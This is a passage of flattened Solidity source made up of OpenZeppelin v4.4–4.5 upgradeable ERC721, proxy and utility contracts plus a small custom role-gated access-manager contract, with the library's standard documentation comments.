/** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal onlyInitializing { } function __ERC721Enumerable_init_unchained() internal onlyInitializing { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[46] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable { function __ERC721URIStorage_init() internal onlyInitializing { } function __ERC721URIStorage_init_unchained() internal onlyInitializing { } using StringsUpgradeable for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol) pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../utils/ContextUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable { function __ERC721Burnable_init() internal onlyInitializing { } function __ERC721Burnable_init_unchained() internal onlyInitializing { } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/UUPSUpgradeable.sol) pragma solidity ^0.8.0; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Check that the execution is not being performed through a delegate call. This allows a function to be * callable on the implementing contract but not through proxies. */ modifier notDelegated() { require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall"); _; } /** * @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the * implementation. It is used to validate that the this implementation remains valid after an upgrade. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier. */ function proxiableUUID() external view virtual override notDelegated returns (bytes32) { return _IMPLEMENTATION_SLOT; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; import "@openzeppelin/contracts/access/IAccessControl.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "../Roles.sol"; abstract contract AccessManagedUpgradeable is Initializable { IAccessControl private _accessControl; event AccessManagerUpdated(address indexed newAddressManager); modifier onlyRole(bytes32 role) { require(_hasRole(role, msg.sender), "AccessManagedUpgradeable::Missing Role"); _; } function __AccessManaged_init(address manager) internal initializer { _accessControl = IAccessControl(manager); emit AccessManagerUpdated(manager); } function setAccessManager(address newManager) public onlyRole(DEFAULT_ADMIN_ROLE) { _accessControl = IAccessControl(newManager); emit AccessManagerUpdated(newManager); } function _hasRole(bytes32 role, address account) internal view returns (bool) { return _accessControl.hasRole(role, account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) pragma solidity ^0.8.0; /** * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified * proxy whose upgrades are fully controlled by the current implementation. */ interface IERC1822ProxiableUpgradeable { /** * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation * address. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. */ function proxiableUUID() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) 